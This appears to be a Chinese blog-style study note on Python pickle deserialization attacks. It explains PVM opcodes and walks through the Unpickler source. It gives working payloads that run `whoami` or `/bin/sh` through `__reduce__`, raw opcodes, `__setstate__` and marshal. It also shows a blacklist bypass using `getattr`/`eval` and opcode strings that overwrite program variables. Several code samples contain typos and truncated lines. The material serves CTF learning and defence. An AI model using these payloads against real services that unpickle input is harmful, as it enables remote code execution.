PYTHON安全问题总结(一)

前言

总而言之就是,目前对于python的东西一知半解,所以需要写一个总的学习,也算是记录一下自己的学习过程吧。

pickle反序列化

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。

  • Python中序列化一般有两种方式: pickle模块和json模块, 前者是Python特有的格式, 后者是json通用的格式.

  • 相较于PHP反序列化灵活多样的利用方式, 例如POP链构造, Phar反序列化, 原生类反序列化以及字符逃逸等. Python相对而言没有PHP那么灵活, 关于反序列化漏洞主要涉及这么几个概念: picklepvm__reduce__魔术方法.

  • 这里补充下reduce方法就类似于wakeup方法,即在反序列化开始后第一个执行的方法。

    /img/pickle/18.png

pickle有以下操作方法:

函数 说明
dump 对象反序列化到文件对象并存入文件
dumps 对象反序列化为 bytes 对象
load 对象反序列化并从文件中读取数据
loads 从 bytes 对象反序列化
1
2
3
4
5
6
import pickle

class demo1():
	def __init__(self,name = "dddtttt")
		self.name = name
print(pickle.dumps(demo1()))

结果

  • python3环境下
    /img/pickle/19.png
  • python2环境下
    /img/pickle/20.png
    输出的一大串字符实际上是一串PVM操作码, 可以在pickle.py中看到关于这些操作码的详解.
1
2
3
4
5
6
7
8
import pickle 
class demo2():
	def __init__(self,name = "dddddtttt")
		self.name = name
print("++++序列化结果:")
print(pickle.dumps(demo2()))
print("++++反序列化果:")
pirnt(pickle.loads(pickle.dumps(demo2()))).name)
  • python3
    /img/pickle/21.png
  • pickle解析依靠Pickle Virtual Machine (PVM)进行。
  • 指令处理器: 从流中读取opcode和参数, 并对其进行解释处理. 重复这个动作, 直到遇到.这个结束符后停止, 最终留在栈顶的值将被作为反序列化对象返回.
  • 栈区(stack): 由Pythonlist实现, 被用来临时存储数据、参数以及对象, 在不断的进出栈过程中完成对数据流的反序列化操作, 并最终在栈顶生成反序列化的结果.
  • 标签区(memo): 由Pythondict实现, 为PVM的整个生命周期提供存储.

首先,PVM会把源代码编译成字节码,若python在目标机器有写入文件权限,则其会吧编译后的字节码保存在.pyc文件中方便后续使用,反过来则会把其丢弃。然后, Python进程会把编译好的字节码转发到PVM(Python虚拟机)中, PVM会循环迭代执行字节码指令, 直到所有操作被完成.

这里贴一下H3rmesk1t师傅的 当前用于pickling的协议共有6种, 使用的协议版本越高, 读取生成的pickle所需的Python版本就要越新.

  • v0版协议是原始的"人类可读"协议, 并且向后兼容早期版本的Python.
  • v1版协议是较早的二进制格式, 它也与早期版本的Python兼容.
  • v2版协议是在Python 2.3中引入的, 它为存储new-style class提供了更高效的机制, 参阅PEP 307.
  • v3版协议添加于Python 3.0, 它具有对bytes对象的显式支持, 且无法被Python 2.x打开, 这是目前默认使用的协议, 也是在要求与其他Python 3版本兼容时的推荐协议.
  • v4版协议添加于Python 3.4, 它支持存储非常大的对象, 能存储更多种类的对象, 还包括一些针对数据格式的优化, 参阅PEP 3154.
  • v5版协议添加于Python 3.8, 它支持带外数据, 加速带内数据处理.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# Pickle opcodes.  See pickletools.py for extensive docs.  The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

protocol=num来选择opcode的版本 h3rmesk1t的demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import os
import pickle

class Demo():
    def __init__(self, name='dddddt6ttt'):
        self.name = name
    
    def __reduce__(self):
        return (os.system, ('whoami',))


demo = Demo()
for i in range(6):
    print('[+] pickle v{}: {}'.format(str(i), pickle.dumps(demo, protocol=i)))
  • python3
    /img/pickle/1.png

在使用的时候我们可以利用字节码来直接执行文件,例如

1
2
3
4
cos
system
(S'whoami'
tR.

当然这个要遵循前面说的PVM的组成的规则

1
2
3
4
5
6
cos         =>  引入模块 os.
system      =>  引用 system, 并将其添加到 stack.
(S'whoami'  =>  把当前 stack 存到 metastack, 清空 stack, 再将 'whoami' 压入 stack.
t           =>  stack 中的值弹出并转为 tuple,  metastack 还原到 stack, 再将 tuple 压入 stack.
R           =>  system(*('whoami',)).
.           =>  结束并返回当前栈顶元素.

然后这里想一些opcode的一些命令在这个ppt中有 https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf 当然详细的可以去网上搜

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n(记忆栈) pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象(self.stack) 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
  • 使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
1
2
3
4
import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

/img/pickle/2.png
/img/pickle/3.png
可以清楚的看到做的处理及其指令,当然在上面的指令集都能找到对应的方法.

这里学着跟进一下反序列化过程 这里secret文件内容就随便定义咯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pickle
import secret
class animal:
    def __init__(self):
        self.animal1="dog"
    def check(self):
        if self.animal ==secret.best:
            print(self.animal)
            print('good')

a=pickle.dumps(animal(),protocol=3)
print(a)
pickle.loads(a)

输出

1
b'\x80\x03c__main__\nanimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03X\x03\x00\x00\x00dogq\x04sb.'
  • 第一步读到\x80部分 对应的指令集 PROTO = b’\x80’ # identify pickle protocol
1
2
3
4
5
6
    def load_proto(self):
        proto = self.read(1)[0]
        if not 0 &lt;= proto &lt;= HIGHEST_PROTOCOL:
            raise ValueError("unsupported pickle protocol: %d" % proto)
        self.proto = proto
    dispatch[PROTO[0]] = load_proto

所以读到\x03表示协议版本为3

  • 第二步读取c操作码 GLOBAL = b’c’ # push self.find_class(modname, 可以看见这里对应的就是load_global和find_class
1
2
3
4
5
6
    def load_global(self):
        module = self.readline()[:-1].decode("utf-8")#往后读到换行符作为模块名 =&gt;__main__
        name = self.readline()[:-1].decode("utf-8")#往后读到换行符作为类名 =&gt; animal
        klass = self.find_class(module, name) #然后进入find_class寻找类
        self.append(klass) #获取模块后添加到当前栈中
    dispatch[GLOBAL[0]] = load_global
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    def find_class(self, module, name):
        # Subclasses may override this.
        sys.audit('pickle.find_class', module, name)
        if self.proto &lt; 3 and self.fix_imports:
            if (module, name) in _compat_pickle.NAME_MAPPING:
                module, name = _compat_pickle.NAME_MAPPING[(module, name)]
            elif module in _compat_pickle.IMPORT_MAPPING:
                module = _compat_pickle.IMPORT_MAPPING[module]
        __import__(module, level=0)
        if self.proto &gt;= 4:
            return _getattribute(sys.modules[module], name)[0]
        else:#3号协议
            return getattr(sys.modules[module], name)

sys.modules中的内容 储存内置方法和引用的模块

1
{'sys': , 'builtins': , '_frozen_importlib': , '_imp': , '_thread': , '_warnings': , '_weakref': , '_frozen_importlib_external': , 'nt': , '_io': , 'marshal': , 'winreg': , 'time': , 'zipimport': , '_codecs': , 'codecs': , 'encodings.aliases': , 'encodings': , 'encodings.utf_8': , '_signal': , 'encodings.latin_1': , '_abc': , 'abc': , 'io': , '__main__': , '_stat': , 'stat': , '_collections_abc': , 'genericpath': , 'ntpath': , 'os.path': , 'os': , '_sitebuiltins': , '_locale': , '_bootlocale': , '_codecs_cn': , '_multibytecodec': , 'encodings.gbk': , 'types': , 'importlib._bootstrap': , 'importlib._bootstrap_external': , 'warnings': , 'importlib': , 'importlib.machinery': , '_heapq': , 'heapq': , 'itertools': , 'keyword': , '_operator': , 'operator': , 'reprlib': , '_collections': , 'collections': , 'collections.abc': , '_functools': , 'functools': , 'contextlib': , 'enum': , '_sre': , 'sre_constants': , 'sre_parse': , 'sre_compile': , 'copyreg': , 're': , 'typing.io': , 'typing.re': , 'typing': , 'importlib.abc': , 'importlib.util': , 'mpl_toolkits': , 'site': , '_struct': , 'struct': , '_compat_pickle': , '_pickle': , 'pickle': , 'secret': }

然后self.append(klass)添加到当前栈中,所以当前栈中有:

1
self=&gt; stack:[]
  • 第三步读取q操作码 BINPUT = b’q’ # " " " " " ; " " 也就是load_binput
1
2
3
4
5
6
    def load_binput(self):
        i = self.read(1)[0]#继续读取下一个字节,赋值给i
        if i &lt; 0:
            raise ValueError("negative BINPUT argument")
        self.memo[i] = self.stack[-1]#将栈中的栈尾(与栈顶相对)存入记忆栈中memo
    dispatch[BINPUT[0]] = load_binput
1
memo=&gt; stack:[()]
  • 第四步读取 )操作码 向当前栈中增加一个新的元组
1
2
3
    def load_empty_tuple(self):
        self.append(())#向当前栈中增加一个新的元组
    dispatch[EMPTY_TUPLE[0]] = load_empty_tuple

所以当前栈中有:

1
self=&gt; stack:[,()]
  • 第五步在读取 \x81操作码 # 使用弹出两次栈,用弹出的数据创建类
1
2
3
4
5
6
7
    def load_newobj(self):
        args = self.stack.pop() # 空元组()
        cls = self.stack.pop() # 
        obj = cls.__new__(cls, *args) 
        #__new__方法的作用是修改不可变类(int,String)等基本类都是不可变类,此处不需修改,所以传入元组
        self.append(obj) 将实例化后的animal压入栈中
    dispatch[NEWOBJ[0]] = load_newobj
  • 第六步再次读取 q操作码 这里就不说了
1
memo=&gt; stack:[() , (对象)]
  • 第七步读取 }操作码
1
2
3
    def load_empty_dictionary(self):
        self.append({}) 
    dispatch[EMPTY_DICT[0]] = load_empty_dictionary
1
self=&gt; stack:[(对象),{}]
  • 第八步读取 q操作码
1
2
3
4
5
6
    def load_binput(self):
        i = self.read(1)[0]#继续读取下一个字节 \x02 ,赋值给i
        if i &lt; 0:
            raise ValueError("negative BINPUT argument")
        self.memo[i] = self.stack[-1]#将栈中的栈尾栈顶存入记忆栈中memo
    dispatch[BINPUT[0]] = load_binput

将animal对象存储到memo[1]的栈中

1
memo=&gt; stack:[() , (对象),{}]
  • 第九步读取 X操作码
1
2
3
4
5
6
7
8
    def load_binunicode(self):
        len, = unpack('<i>6
        if len &gt; maxsize:
            raise UnpicklingError("BINUNICODE exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        self.append(str(self.read(len), 'utf-8', 'surrogatepass'))
        #再往后读len长度的字节数 animal(属性名) 然后存入到栈中中
    dispatch[BINUNICODE[0]] = load_binunicode

将animal(属性名) 然后存入到字符串中

1
self=&gt; stack:[(对象),{},"animal"]
  • 第十步读取 q操作码
1
2
3
4
5
6
def load_binput(self):
        i = self.read(1)[0]#继续读取下一个字节 \x03 ,赋值给i
        if i &lt; 0:
            raise ValueError("negative BINPUT argument")
        self.memo[i] = self.stack[-1]#将栈中的栈尾栈顶存入记忆栈中memo
    dispatch[BINPUT[0]] = load_binput

将animal(属性名) 然后存入到字符串中

1
memo=&gt; stack:[() , (对象),{},"animal"]
  • 第十一步读取 X操作码
1
2
3
4
5
6
7
8
    def load_binunicode(self):
        len, = unpack('<i> 3
        if len &gt; maxsize:
            raise UnpicklingError("BINUNICODE exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        self.append(str(self.read(len), 'utf-8', 'surrogatepass')) dog
        #再往后读len长度的字节数 dog(属性值) 然后存入到栈中中
    dispatch[BINUNICODE[0]] = load_binunicode

将animal(属性名) 然后存入到字符串中

1
self=&gt; stack:[(对象),{},"animal","dog"]
  • 第十二步读取 q操作码
1
2
3
4
5
6
def load_binput(self):
        i = self.read(1)[0]#继续读取下一个字节 \x04 ,赋值给i
        if i &lt; 0:
            raise ValueError("negative BINPUT argument")
        self.memo[i] = self.stack[-1]#将栈中的栈尾栈顶存入记忆栈中memo
    dispatch[BINPUT[0]] = load_binput

将animal(属性名) 然后存入到字符串中

1
memo=&gt; stack:[() , (对象),{},"animal","dog"]
  • 第十三步读取 s操作码
1
2
3
4
5
6
7
    def load_setitem(self):
        stack = self.stack
        value = stack.pop()  #"dog"
        key = stack.pop()   #"animal"
        dict = stack[-1]    #栈顶{}
        dict[key] = value   #{"animal":"dog"}
    dispatch[SETITEM[0]] = load_setitem

将animal(属性名) 然后存入到字符串中

1
self=&gt; stack:[(对象),{"animal":"dog"}]
  • 第十四步读取 b操作码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    def load_build(self):
        stack = self.stack
        state = stack.pop() #{"animal":"dog"}
        inst = stack[-1] #(对象)
        setstate = getattr(inst, "__setstate__", None) 
        if setstate is not None: 
            #检查是否存在 __setstate__ 方法 一般是不存在的
            ###############################################
            setstate(state) ###########会造成任意函数调用
            ############################################
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

将animal(属性名) 然后存入到字符串中

1
self=&gt; stack:[(拥有数据的对象)
  • 第十五步读取 .操作码
1
2
3
4
    def load_stop(self):
        value = self.stack.pop()
        raise _Stop(value)
    dispatch[STOP[0]] = load_stop

反序列结束

因为别的师傅又发了一个分析的文章觉得写的非常非常的好,想并进来一起分析了(直接拿师傅的例子这里先拜谢了(文章地址会放到最后引用处))

https://pic4.zhimg.com/80/v2-d5bb5c00844a18dcb3b49883383061d7_1440w.webp

  • 第一步 首先读取前面的\x80,pickle看见之后会往后再读取下一个字节,即\x03 表示这个是pickle3.0的协议

  • 第二步 机器读取下一个c操作符(也叫做GLOBAL操作符)连续读取两个字符串modulename,于是把__module__.Student压进栈里

    注:GLOBAL操作符读取全局变量,是使用的find_class函数。而find_class对于不同的协议版本实现也不一样。总之,它干的事情是“去x模块找到y”,y必须在x的顶层(也即,y不能在嵌套的内层)。

  • 第三步 机器读取到)操作符,表示把一个空的tuple(元组)压入当前栈 记住这里的当前栈和栈空间不是一个东西

    /img/pickle/4.png

  • 第四步 读取到\0x81操作符,它的作用是:从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls。接下来,执行cls.__new__(cls, *args),其实就是实例化了Student把得到的实例压进栈中,所以此时栈中只有一个元素.

  • 第五步 读取}操作符,他将一个空的dict压入栈。

  • 第六步 MARK操作符,这个操作符干的事情称为load_mark

  • 当前栈这个整体,作为一个list,压进前序栈

  • 当前栈清空。 然后还有一个东西叫做pop_mark

  • 记录一下当前栈的信息,作为一个list,在load_mark结束时返回。

  • 弹出前序栈的栈顶,用这个list来覆盖当前栈。 其实就是相互的过程

  • 第七步 读取到操作符V,读入一个字符串,以\n结尾;然后把这个字符串压进栈中。所以此时的栈的元素是:name, rxz, grade, G2 此时前序栈只有一个元素,是一个list,这个list里面有两个元素:一个空的Student实例,以及一个空的dict。

  • 第八步 读取到操作符u

  • 调用pop_mark。也就是说,把当前栈的内容扔进一个数组arr,然后把当前栈恢复到MARK时的状态。
    执行完成之后,arr=['name', 'rxz', 'grade', 'G2'];当前栈里面存的是__main__.Student这个类、一个空的dict

  • 拿到当前栈的末尾元素,规定必须是一个dict
    这里,读到了栈顶那个空dict

  • 两个一组地读arr里面的元素,前者作为key,后者作为value,存进上一条所述的dict

  • 第九步 读取到b操作符:

  • 把当前栈栈顶存进state,然后弹掉。

  • 把当前栈栈顶记为inst,然后弹掉。

  • 利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈。

    注:这里更新实例的方式是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。 最后就弹出序列化的最终结果。

1
2
3
4
5
    def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)

弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素
因此这里的话,我们想执行的命令whoami放入栈中,再把system模块放入栈中,即可实现函数的函数执行
构造payload如下

1
a=b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'

/img/pickle/5.png
可以看见执行了whoami的命令

1
2
3
4
5
def load_inst(self):
        module = self.readline()[:-1].decode("ascii")
        name = self.readline()[:-1].decode("ascii")
        klass = self.find_class(module, name)
        self._instantiate(klass, self.pop_mark())

向下依次读取两行分别作为modulename,然后利用find_class寻找对应方法,通过pop_mark()函数得到参数,利用_instantiate函数执行,将结果存入栈中,pop_mark()对应代码

1
2
3
4
5
    def pop_mark(self):
        items = self.stack
        self.stack = self.metastack.pop()
        self.append = self.stack.append
        return items

这里是获取当前栈赋给items,然后弹出栈内元素,再把这个栈赋值给当前栈,然后返回items

1
2
3
import pickle
a=b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
b=pickle.loads(a)

/img/pickle/6.png

1
2
3
4
5
    def load_obj(self):
        # Stack is ... markobject classobject arg1 arg2 ...
        args = self.pop_mark()
        cls = args.pop(0)
        self._instantiate(cls, args)

这个函数先弹出栈中一个元素作为args,也就是参数,而后再弹出第一个元素作为函数,调用_instantiate函数自执行

1
2
3
import pickle
a=b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'
b=pickle.loads(a)

/img/pickle/7.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)

这个函数是当栈中存在__setstate__时,就会执行setstate(state),因此我们这里自定义一个__setstate__类,分别构造os.systemwhoami即可执行命令

1
2
3
4
5
6
import pickle
class tttang:
    def __init__(self):
            self.name="quan9i"
a=b'c__main__\ntttang\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
b=pickle.loads(a)

/img/pickle/8.png

这里也是过一下,CTF竞赛对pickle的利用多数是在__reduce__方法上。

/img/pickle/9.png
/img/pickle/10.png
然后将其放给其他的程序去解析(不带reduce也可以)
/img/pickle/11.png
/img/pickle/12.png

可以看到也是可以正常执行的 那么,如何过滤掉reduce呢?由于__reduce__方法对应的操作码是R,只需要把操作码R过滤掉就行了。这个可以很方便地利用pickletools.genops来实现。

secret.py

1
key='flag{xxx}'

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import pickle
import secret

payload='''c__main__
secret
(S'key'
S'tttang'
db.'''

print('before:',secret.key)

output=pickle.loads(payload.encode())

print('output:',output)
print('after:',secret.key)

/img/pickle/13.png
可以看见最后输出的key被更改了 这里还有一个例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pickle

key1 = b'321'
key2 = b'123'
class A(object):
    def __reduce__(self):
        return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)

/img/pickle/14.png
所以我们可以对其内容进行更改甚至执行命令

由于pickle无法序列化code对象, 因此在python2.6后增加了一个marshal模块来处理code对象的序列化问题.

1
2
3
4
5
6
7
8
9
import base64
import marshal

def demo():
    import os
    os.system('/bin/sh')

code_serialized = base64.b64encode(marshal.dumps(demo()))
print(code_serialized)

/img/pickle/15.png
但是marshal不能直接使用__reduce__, 因为reduce是利用调用某个callable并传递参数来执行的, 而marshal函数本身就是一个callable, 需要执行它, 而不是将他作为某个函数的参数.

这时候就要利用上面分析的那个PVM操作码来进行构造了, 先写出来需要执行的内容, Python能通过types.FunctionTyle(func_code,globals(),'')()来动态地创建匿名函数, 这一部分的内容可以看官方文档的介绍.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
import pickle
import marshal

def foo():
    import os
    os.system('whoami;/bin/sh')     # evil code

shell = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

print(pickle.loads(shell))

给出的一个waf写法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import pickle
import io
import builtins
__all__ = ('PickleSerializer',)
class RestrictedUnpickler(pickle.Unpickler):
    blacklist={'eval','exec','open','__import__','exit','input'}
    def find_class(self,module,name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins,name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden"%(module ,name))

其实就是对find_class的输入进行了过滤。 绕过的角度:

  • 从opcode角度看,当出现ci\x93时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可
  • 从python代码来看,find_class()只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()就不会再调用,也就是说find_class()只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__绕过一些黑名单。 虽然这里设置了黑名单,但是这里可以发现getattr没有被ban掉,可以利用这个来获取builtins里面的函数。
1
builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)

构造opcode 首先就是构造出builtins,getattr

1
2
cbuiltins
getattr

接下来压入的话会发现,其中含有个对象,而其他压入的都是字符串,如果直接压入的话会出错(具体原因还在问)

1
builtins = builtins.globals().get('builtins')

最后构造出eval即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRS'eval'
tRp1
(S'__import__("os").system("whoami")'
tR."""

其实这个也是对于R操作符的妙用

例如题目对R进行了过滤那么该如何做呢?(这里还是取师傅的题目例子)

/img/pickle/16.png
这个时候可以利用c-》可以用来获取一个全局变量 以name的为例,只需要把硬编码的rxz改成从blue引入的name,写成指令就是:cblue\nname\n。把用于编码rxzX\x03\x00\x00\x00rxz替换成我们的这个global指令即可

如果出题人只允许c指令包含__main__这一个module,这道题又该如何解决呢? 这里采用的方法是先写入后篡改的方法

  • 通过__main__.blue引入这一个module,由于命名空间还在main内,故不会被拦截
  • 把一个dict压进栈,内容是{'name': 'rua', 'grade': 'www'}
  • 执行BUILD指令,会导致改写 __main__.blue.name和 __main__.blue.grade ,至此blue.nameblue.grade已经被篡改成我们想要的内容
  • 弹掉栈顶,现在栈变成空的
  • 照抄正常的Student序列化之后的字符串,压入一个正常的Student对象,name和grade分别是’rua’和’www' 这个地方其实就是对b操作符的妙用
1
payload = b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'

这里把b操作符再贴一次出来

/img/pickle/18.png

